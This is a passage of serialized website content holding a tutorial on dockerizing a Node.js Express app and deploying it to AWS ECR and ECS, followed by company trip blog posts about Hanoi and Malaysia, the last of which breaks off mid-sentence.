(ECR) and Amazon Elastic Container Service (ECS). We'll do it in follow under:",[403,5312,5314],{"id":5313},"_1-environment-setup","1) Environment Setup",[11,5316,5317,1017,5320,5323,5324,5329],{},[20,5318,5319],{},"Node",[20,5321,5322],{},"Npm",": ",[55,5325,5328],{"href":5326,"rel":5327},"https:\u002F\u002Fnodejs.org\u002Fen\u002F",[59],"Follow this link"," to install the latest versions.",[11,5331,5332,5323,5335,5329],{},[20,5333,5334],{},"Docker",[55,5336,5328],{"href":5337,"rel":5338},"https:\u002F\u002Fdocs.docker.com\u002Finstall\u002F",[59],[11,5340,5341,5344],{},[20,5342,5343],{},"AWS account",": Sign up for a free tier.",[11,5346,5347,5350,5351,5356],{},[20,5348,5349],{},"AWS CLI",": Follow the ",[55,5352,5355],{"href":5353,"rel":5354},"https:\u002F\u002Faws.amazon.com\u002Fcli\u002F",[59],"instructions"," for your OS.",[403,5358,5360],{"id":5359},"_2-overview-of-docker-and-aws","2) Overview of Docker and AWS",[11,5362,5363],{},"Docker is open source software that allows you to pack an application together with its required dependencies and environment variables in a container that you can ship and run anywhere. It is independent of platforms or hardware, and therefore the containerized application can run in any environment in an isolated fashion.",[11,5365,5366],{},"Amazon Web Services (AWS) offers a reliable, scalable, and inexpensive cloud computing service. As I mentioned before, this tutorial will focus on using the ECR and ECS services of AWS.",[403,5368,5370],{"id":5369},"_3-the-nodejs-app-to-deploy","3) The Node.js app to deploy",[11,5372,5373],{},"Let’s quickly build a sample app that we’ll use for the purpose of this tutorial. It going to be very simple Node.js app.",[11,5375,5376],{},"Enter the following in your terminal:",[605,5378,5381],{"className":5379,"code":5380,"language":610},[608],"\u002F\u002F create a new directory\n$ mkdir ecs-nodejs-app\n\n\u002F\u002F change to new directory\n$ cd ecs-nodejs-app\n\n\u002F\u002F Initialize npm\n$ npm init -y\n\n\u002F\u002F install express\n$ npm install express\n\n\u002F\u002F create an server.js file\n$ touch server.js\n",[612,5382,5380],{"__ignoreMap":66},[11,5384,5385],{},"Open server.js and paste the code below into it:",[605,5387,5390],{"className":5388,"code":5389,"language":610},[608],"\u002F\u002F server.js\n\nconst express = require('express')\nconst app = express()\n\napp.get('\u002F', (req, res) => {\nres.send('Welcome from a Node.js app!')\n})\n\napp.listen(3000, () => {\nconsole.log('Server is up on 3000')\n})\n",[612,5391,5389],{"__ignoreMap":66},[11,5393,5394],{},"Start the app with:",[605,5396,5399],{"className":5397,"code":5398,"language":610},[608],"$ node server.js\n",[612,5400,5398],{"__ignoreMap":66},[11,5402,5403,5404,5408],{},"Access it on ",[55,5405,5406],{"href":5406,"rel":5407},"http:\u002F\u002Flocalhost:3000",[59],". You should get Welcome from a Node.js app! displayed in your browser.",[11,5410,5411],{},"Next, we're going to dockerize our app.",[403,5413,5415],{"id":5414},"_4-writing-a-dockerfile","4) Writing a Dockerfile",[11,5417,5418],{},"We are going to start dockerizing the app by creating a single file called a Dockerfile in the base (root) of our project directory. This file has no file extension.",[605,5420,5423],{"className":5421,"code":5422,"language":610},[608],"FROM node:8-alpine\nRUN mkdir -p \u002Fusr\u002Fsrc\u002Fapp\nWORKDIR \u002Fusr\u002Fsrc\u002Fapp\nCOPY . .\nRUN npm install\nEXPOSE 3000\nCMD [ \"node\", \"server.js\" ]\n",[612,5424,5422],{"__ignoreMap":66},[403,5426,5428],{"id":5427},"_5-building-a-docker-image","5. Building a Docker image",[11,5430,5431],{},"Make sure you have Docker up and running. Now that we have defined our Dockerfile, let’s build the image with a title using -t:",[605,5433,5436],{"className":5434,"code":5435,"language":610},[608],"$ docker build -t ecs-nodejs-app .\n",[612,5437,5435],{"__ignoreMap":66},[403,5439,5441],{"id":5440},"_6-running-a-docker-container","6. Running a Docker Container",[11,5443,5444],{},"We’ve built the docker image. To see previously created images, run:",[605,5446,5449],{"className":5447,"code":5448,"language":610},[608],"$ docker images\n",[612,5450,5448],{"__ignoreMap":66},[11,5452,5453],{},"You should see the image we just created as the most recent based on time:",[438,5455],{"className":5456,"alt":66,"src":5457,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28113202\u002Fimg_docker.png",[11,5459,5460],{},"Copy the Image Id. To run the container, we write on the terminal:",[605,5462,5465],{"className":5463,"code":5464,"language":610},[608],"$docker run -p 80:3000 {image-id}\n\n\u002F\u002F fill with your image-id\n",[612,5466,5464],{"__ignoreMap":66},[11,5468,5469,5470,5474],{},"Here we publish the app to port 80:3000. Because we are running Docker locally, go to ",[55,5471,5472],{"href":5472,"rel":5473},"http:\u002F\u002Flocalhost",[59]," to view.",[438,5476],{"className":5477,"alt":66,"src":5478,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28155452\u002Flocal.png",[403,5480,5482],{"id":5481},"_7-create-the-registry-and-push-your-app-image-there","7. Create the registry and push your app image there",[11,5484,5485],{},"Amazon Elastic Container Registry (ECR) is a fully-managed Docker container registry that makes it easy for developers to store, manage, and deploy Docker container images. Amazon ECR is integrated with Amazon Elastic Container Service (ECS), simplifying your development to production workflow.",[11,5487,5488],{},"Before we get to pushing up our app image, ensure that your AWS CLI can connect to your AWS account. Run on the terminal:",[605,5490,5493],{"className":5491,"code":5492,"language":610},[608],"$ aws configure\n",[612,5494,5492],{"__ignoreMap":66},[11,5496,5497],{},"If your AWS CLI was properly installed, aws configure will ask for the following:",[605,5499,5502],{"className":5500,"code":5501,"language":610},[608],"$ aws configure\nAWS Access Key ID [None]: \u003Caccesskey>\nAWS Secret Access Key [None]: \u003Csecretkey>\nDefault region name [None]: us-east-2\nDefault output format [None]:\n",[612,5503,5501],{"__ignoreMap":66},[11,5505,5506],{},"Confirm that your AWS CLI is properly configured by once again running the aws configure command and pressing enter at each prompt to accept:",[438,5508],{"className":5509,"alt":66,"src":5510,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28123142\u002Faws.png",[11,5512,5513],{},"Steps to create the registry for your images:",[11,5515,5516,5517,5522],{},"Go to the ",[55,5518,5521],{"href":5519,"rel":5520},"https:\u002F\u002Faws.amazon.com\u002F",[59],"AWS console"," and sign in.",[11,5524,5525],{},"Under the Services dropdown menu, under Containers, select ECS:",[438,5527],{"className":5528,"alt":66,"src":5529,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28123526\u002Fecs-1-1024x454.png",[11,5531,5532],{},"On the left menu, under Amazon ECR, go to Repositories then click Create Repository. Enter a name , for example, use ecs-nodejs-app after click button \"Create Repository\".",[11,5534,5535,5539],{},[438,5536],{"className":5537,"alt":66,"src":5538,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28123731\u002Fecr-1024x669.png",[473,5540],{},[438,5542],{"className":5543,"alt":66,"src":5544,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F14084222\u002Fviewpush-1024x422.png",[11,5546,5547],{},"Then click on View Push Commands on the upper right and follow the 4 instructions from the AWS console for building, tagging, and pushing your Docker image:",[438,5549],{"className":5550,"alt":66,"src":5551,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28123922\u002Fstep_ecr-1024x669.png",[11,5553,5554],{},"Now go to your Amazon ECR and click on your repository name and you should see your Docker image there. Copy the Image URI and keep it handy, we'll need to paste it in the next step:",[11,5556,5557,5561],{},[438,5558],{"className":5559,"alt":66,"src":5560,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28124312\u002Fimg_ecr-1024x295.png"," Next we'll create the Task, Service, and Cluster to run this Docker image on an EC2 instance.",[403,5563,5565],{"id":5564},"_8-create-the-task-definition","8. Create the Task Definition",[11,5567,5568],{},"Tasks on AWS function just like the docker run command on the Docker CLI. They define:",[31,5570,5571,5574,5577,5580],{},[34,5572,5573],{},"Container images",[34,5575,5576],{},"Volumes",[34,5578,5579],{},"Networks Environment Variables",[34,5581,5582],{},"Port mappings",[11,5584,5585],{},"Steps to create a new Task Definition:",[765,5587,5588,5591,5594,5597,5600,5603,5606,5609,5612,5615],{"style":2572},[11,5589,5590],{},"1. From Task Definitions in the ECS dashboard (on the left), click on the Create new Task Definition button.",[11,5592,5593],{},"2. Select EC2 as the launch type.",[11,5595,5596],{},"3. Give your task a name (for example: ecs-nodejs-app-task), then skip the next few fields and scroll down to and click on Add container.",[11,5598,5599],{},"4. Give the container a name (for example: ecs-nodejs-app-container).",[11,5601,5602],{},"5. Past your Image URI.",[11,5604,5605],{},"6. Set Memory Limits to Soft Limit: 512",[11,5607,5608],{},"7. Map your ports (for example, 80: 3000), leave protocol as TCP",[11,5610,5611],{},"8. Scroll down to Environment Variables and set \"NODE_ENV\" as the key and \"production\" as the value.",[11,5613,5614],{},"9. Skip everything else, scroll to the bottom and click Add.",[11,5616,5617],{},"10. Back in your Create Task Definition window, you should see your container loaded with your image, then scroll down and click Create",[438,5619],{"className":5620,"alt":66,"src":5621,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28124940\u002Fcontainer-1024x710.png",[403,5623,5625],{"id":5624},"_9-create-a-cluster","9. Create a Cluster",[11,5627,5628],{},"Steps to Create a Cluster:",[438,5630],{"className":5631,"alt":66,"src":5632,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28125117\u002Fcluster-1024x252.png",[765,5634,5635,5638,5641,5644,5647,5650,5653,5656,5659],{"style":2572},[11,5636,5637],{},"1. From the Services dropdown, select ECS to go back to your ECS dashboard.",[11,5639,5640],{},"2. From the left menu, under Amazon ECS (not EKS), click on Clusters, then Create Cluster",[11,5642,5643],{},"3. Select EC2 Linux + Networking as the cluster template.",[11,5645,5646],{},"4. Name your cluster (for example: ecs-nodejs-app-cluster).",[11,5648,5649],{},"5. Leave it as an On-Demand Instance and select t2.micro under the EC2 Instance Type dropdown.",[11,5651,5652],{},"6. Set number of instances to 1, and EBS Storage to 30.",[11,5654,5655],{},"7. You can leave the Key pair as none or select a keypair if you want to have the ability to SSH into your instance.",[11,5657,5658],{},"8. Under Networking, set VPC as Create a new VPC, then scroll down.",[11,5660,5661],{},"9. Under Container instance IAM role, select the role we just created (for example: ECStoEC2role), then click Create.",[438,5663],{"className":5664,"alt":66,"src":5665,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28125454\u002Fcluster_1-1024x784.png",[11,5667,5668],{},"It'll take a few minutes to finish processing. Once processed, you should be able to click on View Cluster and see the status set to Active.",[403,5670,5672],{"id":5671},"_10-create-a-service-to-run-the-cluster","10. Create a Service to run the Cluster",[11,5674,5675],{},"Now let's create a service to run this cluster.",[438,5677],{"className":5678,"alt":66,"src":5679,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28125848\u002Fservice-1024x316.png",[11,5681,5682],{},"Steps to create a Service:",[765,5684,5685,5688,5691,5694,5697,5700,5703,5706,5709],{"style":2572},[11,5686,5687],{},"1. From the ECS left menu, click on Task Definition, then select your task (for example: ecs-nodejs-app-task).",[11,5689,5690],{},"2. Click on the latest revision.",[11,5692,5693],{},"3. From the Actions drop down (next to Create new revision), select Create Service.",[11,5695,5696],{},"4. On the Configure Service page, select EC2 as the Launch type.",[11,5698,5699],{},"5. Set Cluster to the name of our cluster (for example: ecs-nodejs-app-cluster)",[11,5701,5702],{},"6. Name your service (for example: ecs-nodejs-app-service)",[11,5704,5705],{},"7. Set Number of Tasks to 1.",[11,5707,5708],{},"8. Skip through all the other fields and pages and on page 4, scroll down and click on Create Service.",[11,5710,5711],{},"9. On the Launch Status page, you should see green checks for Create service discovery service and Service created. Click on View Service. If the status in the Tasks tab is pending, give it a few minutes and then it will be Running (click on the refresh icon on the right).",[438,5713],{"className":5714,"alt":66,"src":5715,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28130204\u002Fservice_1-1024x822.png",[11,5717,5718],{},"Go to Cluster (through a link from the service we just created) > EC2 instances > Click on the container instance to reveal the public DNS.",[11,5720,5721,5725],{},[438,5722],{"className":5723,"alt":66,"src":5724,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28130521\u002Fec2-1024x476.png",[473,5726],{},[438,5728],{"className":5729,"alt":66,"src":5730,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28130712\u002Fdns-1024x490.png",[11,5732,5733],{},"Visit the public DNS to view our app!",[11,5735,5736],{},[20,5737,5738],{},"ec2-52-193-75-195.ap-northeast-1.compute.amazonaws.com",[438,5740],{"className":5741,"alt":66,"src":5742,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28130829\u002Fdemo.png",[11,5744,5745,5746,878],{},"Link the code for the Docker part from ",[55,5747,5750],{"href":5748,"rel":5749},"https:\u002F\u002Fgitlab.com\u002Fbwv-hp\u002Fecs-demo.git",[59],"Github",[403,5752,3866],{"id":3476},[11,5754,5755],{},[55,5756,5757],{"href":5757,"rel":5758},"https:\u002F\u002Fdocs.aws.amazon.com\u002FAmazonECS\u002Flatest\u002Fdeveloperguide\u002Fgetting-started.html",[59],[11,5760,5761],{},[55,5762,5763],{"href":5763,"rel":5764},"https:\u002F\u002Fblog.clairvoyantsoft.com\u002Fdeploy-and-run-docker-images-on-aws-ecs-85a17a073281",[59],[11,5766,5767],{},[55,5768,5769],{"href":5769,"rel":5770},"https:\u002F\u002Fmedium.com\u002Fboltops\u002Fgentle-introduction-to-how-aws-ecs-works-with-example-tutorial-cea3d27ce63d",[59],{"title":66,"searchDepth":67,"depth":67,"links":5772},[5773,5774,5775,5776,5777,5778,5779,5780,5781,5782,5783],{"id":5313,"depth":67,"text":5314},{"id":5359,"depth":67,"text":5360},{"id":5369,"depth":67,"text":5370},{"id":5414,"depth":67,"text":5415},{"id":5427,"depth":67,"text":5428},{"id":5440,"depth":67,"text":5441},{"id":5481,"depth":67,"text":5482},{"id":5564,"depth":67,"text":5565},{"id":5624,"depth":67,"text":5625},{"id":5671,"depth":67,"text":5672},{"id":3476,"depth":67,"text":3866},"2021-05-18","In this tutorial, I'll walk you through the steps on how to dockerize a Node.js application and then deploy it to Amazon Web Services (AWS) using Amazon Elastic Container Registry (ECR) and Amazon Elastic Container Service (ECS). We'll do it in follow under",{},"\u002Fnews\u002Fdeploying-node-app-to-ecs-with-docker",{"title":5305,"description":5785},"news\u002Fdeploying-node-app-to-ecs-with-docker","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F28132456\u002Fecs-t.png","AqZyQ3oSRZuXZEt0DojfQdcZCGckPWt97mSDCqgA6v8",{"id":5793,"title":5794,"body":5795,"category":3032,"created by":4334,"date":5911,"description":5912,"extension":72,"meta":5913,"navigation":74,"path":5914,"sections":76,"seo":5915,"stem":5916,"thumbnail":5917,"__hash__":5918},"content_en\u002Fnews\u002Fdu-lich-cong-ty-nam-2024-hanh-trinh-kham-pha-thu-do-ha-noi.md","COMPANY TRIP 2024 - THE JOURNEY TO THE CAPITAL HA NOI",{"type":8,"value":5796,"toc":5909},[5797,5800,5803,5806,5810,5813,5817,5820,5824,5827,5831,5834,5846,5849,5857,5861,5864,5872,5880,5888,5892,5895,5899,5902,5906],[11,5798,5799],{},"Hanoi Adventure: The Briswell Family's 3-Day Getaway",[11,5801,5802],{},"Ever wondered what the Briswell family got up to during our 3-day Hanoi adventure? Let's dive into our exciting journey and discover what made the city so captivating for us.",[11,5804,5805],{},"We started our exploration with a stroll around Hoan Kiem Lake, then visited the serene Tran Quoc Pagoda, admiring its ancient beauty.",[438,5807],{"className":5808,"alt":66,"src":5809,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F28160844\u002Fcompany-trip-1-1024x768.png",[11,5811,5812],{},"We gained a lot of knowledge from visiting the Temple of Literature - Imperial Academy and learning about Vietnam's educational history.",[438,5814],{"className":5815,"alt":66,"src":5816,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105510\u002F1-1024x768.png",[11,5818,5819],{},"Enjoying the original Hanoi-style bun cha - a must - try when visiting the capital.",[438,5821],{"className":5822,"alt":66,"src":5823,"style":1098},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105521\u002Fbun-cha-ha-noi-03-768x908.jpg",[11,5825,5826],{},"Hanoi beer is an icon of the capital's culture, the soul of gatherings with friends. Everyone raises their glasses together, sharing memorable moments.",[438,5828],{"className":5829,"alt":66,"src":5830,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105517\u002F460638472_8467118276683142_8251668091009759416_n-1024x768.jpg",[11,5832,5833],{},"Cozying up in a small cafe, sipping a hot egg coffee, the rich aroma filled the air, and feeling a sense of warmth. Each smooth, flavorful sip brought comfort and melted away all the worries.",[11,5835,5836,5840,507,5842],{},[438,5837],{"className":5838,"alt":66,"src":5839,"style":1098},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105643\u002FUntitled-design-11-768x768.png",[473,5841],{},[438,5843],{"className":5844,"alt":66,"src":5845,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24110232\u002Fimage-3-1024x768.png",[11,5847,5848],{},"The One Pillar Pagoda - stands as a serene lotus flower in the midst of Hanoi and brings a sense of peace and tranquility.",[11,5850,5851,5855],{},[438,5852],{"className":5853,"alt":66,"src":5854,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105616\u002FUntitled-design-4-1152x1536.png",[473,5856],{},[438,5858],{"className":5859,"alt":66,"src":5860,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24110857\u002FUntitled-design-5-1024x768.png",[11,5862,5863],{},"The whole family visited Ho Chi Minh’s Mausoleum. A solemn and respectful atmosphere filled the space and everyone felt a sense of calm, wanted to express their deep gratitude to the beloved President.",[11,5865,5866,5870],{},[438,5867],{"className":5868,"alt":66,"src":5869,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24110516\u002FDSC_0004-1-1024x680.jpg",[473,5871],{},[11,5873,5874,5878],{},[438,5875],{"className":5876,"alt":66,"src":5877,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105535\u002FUntitled-design-1-1152x1536.png",[473,5879],{},[11,5881,5882,5886],{},[438,5883],{"className":5884,"alt":66,"src":5885,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105554\u002FUntitled-design-2-1152x1536.png",[473,5887],{},[438,5889],{"className":5890,"alt":66,"src":5891,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105602\u002FUntitled-design-3-1152x1536.png",[11,5893,5894],{},"Tam Chuc Pagoda leaves everyone in awe with its majestic natural beauty and exquisite architecture.",[438,5896],{"className":5897,"alt":66,"src":5898,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105635\u002FUntitled-design-8.png",[11,5900,5901],{},"Enjoying dinner together at a restaurant.",[438,5903],{"className":5904,"alt":66,"src":5905,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105654\u002Fz5859754767327_a151475f70ba59c502a2b5d65003a467-1152x1536.jpg",[11,5907,5908],{},"The Briswell family album has gained a vibrant new chapter filled with images and stories from Hanoi. We hope that our future adventures will bring even more exciting surprises. Stay tuned!",{"title":66,"searchDepth":67,"depth":67,"links":5910},[],"2024-10-28","Hanoi Adventure: The Briswell Family's 3-Day Getaway. Ever wondered what the Briswell family got up to during our 3-day Hanoi adventure? Let's dive into our exciting journey and discover what made the city so captivating for us.",{},"\u002Fnews\u002Fdu-lich-cong-ty-nam-2024-hanh-trinh-kham-pha-thu-do-ha-noi",{"title":5794,"description":5912},"news\u002Fdu-lich-cong-ty-nam-2024-hanh-trinh-kham-pha-thu-do-ha-noi","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F28160808\u002Fcompany-trip-2.png","JjpqmkCDgKEOSxdc1zlYlVundU_UEillojpwUcyK3Xo",{"id":5920,"title":5921,"body":5922,"category":3032,"created by":4334,"date":6131,"description":6132,"extension":72,"meta":6133,"navigation":74,"path":6134,"sections":76,"seo":6135,"stem":6136,"thumbnail":6137,"__hash__":6138},"content_en\u002Fnews\u002Fdu-lich-cong-ty-nam-2025-kuala-lumpur-malaysia.md","COMPANY TRIP 2025 - MALAYSIA",{"type":8,"value":5923,"toc":6129},[5924,5927,5930,5933,5938,5943,5946,5949,5953,5956,5960,5963,5966,5970,5973,5981,5985,5988,6000,6005,6008,6020,6023,6027,6030,6033,6041,6045,6048,6053,6056,6059,6067,6079,6082,6086,6089,6097,6101,6104,6107,6111,6114,6118,6123,6126],[11,5925,5926],{},"After days of chasing deadlines, what can help us recharge our energy the fastest? The answer is none other than… A trip!",[11,5928,5929],{},"And, Briswell is back with a promising adventure!",[11,5931,5932],{},"What awaits? Follow Briswell to find out!",[11,5934,5935],{},[20,5936,5937],{},"Briswell Vietnam - 3 Days 2 Nights: A Malaysia Discovery Journey Full of Experiences.",[11,5939,5940],{},[20,5941,5942],{},"Day 1 - The adventure begins in Malaysia",[11,5944,5945],{},"Departing from Ho Chi Minh City, after a few hours of flying, we arrived in Kuala Lumpur, Malaysia’s most vibrant and modern hub.",[11,5947,5948],{},"But without lingering too long, we quickly set off to Malacca - an ancient city marked by a rich blend of Eastern and Western history and culture.",[438,5950],{"className":5951,"alt":66,"src":5952,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165451\u002FBia-1024x659.jpg",[11,5954,5955],{},"Here, we visited Dutch Square - a place that preserves the traces of European civilizations that once set foot on this land.",[438,5957],{"className":5958,"alt":66,"src":5959,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165626\u002Fqtr-ha-lan-1024x573.jpg",[11,5961,5962],{},"Malacca, where every street corner tells a story.",[11,5964,5965],{},"Jonker Street - the heart of Malacca, filled with small, charming shops, each with its own unique character.",[438,5967],{"className":5968,"alt":66,"src":5969,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07171057\u002Fz6903131197020_6cfd8e7b49e866080a4beb5c0333a99a-1024x576.jpg",[11,5971,5972],{},"St. Paul’s Church - an ancient building perched atop Bukit Melaka Hill, offering stunning views of the city below.",[11,5974,5975,5979],{},[438,5976],{"className":5977,"alt":66,"src":5978,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07171305\u002Fz6903229292104_4381ec6cefc5d468f342f950585a702e-1024x576.jpg",[473,5980],{},[438,5982],{"className":5983,"alt":66,"src":5984,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F08135519\u002FImage-from-iOS-1024x768.jpg",[11,5986,5987],{},"A'Famosa Fortress - a historic relic from the Portuguese colonial era.",[11,5989,5990,5994,507,5996],{},[438,5991],{"className":5992,"alt":66,"src":5993,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165426\u002F7-1152x1536.png",[473,5995],{},[438,5997],{"className":5998,"alt":66,"src":5999,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165353\u002F6-1152x1536.png",[11,6001,6002],{},[20,6003,6004],{},"Day 2 - From Sacred Place to the “City That Never Sleeps”",[11,6006,6007],{},"Starting our day with a soulful journey to Batu Caves - a convergence of natural beauty, Hindu culture and unforgettable spiritual experiences in the heart of Malaysia.",[11,6009,6010,6014,6016],{},[438,6011],{"className":6012,"alt":66,"src":6013,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165644\u002FUntitled-design-1-953x1024.png",[473,6015],{},[438,6017],{"className":6018,"alt":66,"src":6019,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165727\u002FUntitled-design-1152x1536.png",[11,6021,6022],{},"In front of your eyes are 272 vividly colored steps leading up to the cave set within a majestic cliff. The climb might feel a little tiring, but no visitor would want to miss the chance to conquer this iconic site.",[438,6024],{"className":6025,"alt":66,"src":6026,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165446\u002Fbac-thang-901x1024.png",[11,6028,6029],{},"Leaving Batu Caves, our group headed to the next destination: Genting Highlands - known as the \"Las Vegas of Asia\".",[11,6031,6032],{},"Look at this dazzling view!",[11,6034,6035,6039],{},[438,6036],{"className":6037,"alt":66,"src":6038,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F08131604\u002Fcasino-1-895x1024.png",[473,6040],{},[438,6042],{"className":6043,"alt":66,"src":6044,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F08131718\u002Fz6906341971528_88b814cf8c2567babd1d48423e3fb507-1024x846.jpg",[11,6046,6047],{},"Here, we are free to enjoy ourselves - having fun, shopping, and exploring the famous entertainment area, Genting Casino. The chilly air mixed with the lively crowds, the illuminated signs make this place feel like a true “city that never sleeps”. Some try their luck, others simply unwind, but everyone discovers their own kind of joy.",[11,6049,6050],{},[20,6051,6052],{},"The Last Day - Ending with unforgettable impressions",[11,6054,6055],{},"On our final day in Malaysia, we seized the chance to wrap up with a series of iconic attractions before heading back to Vietnam.",[11,6057,6058],{},"Thean Hou Temple - an ancient temple located in the city center, deeply reflecting the richness of Chinese cultural 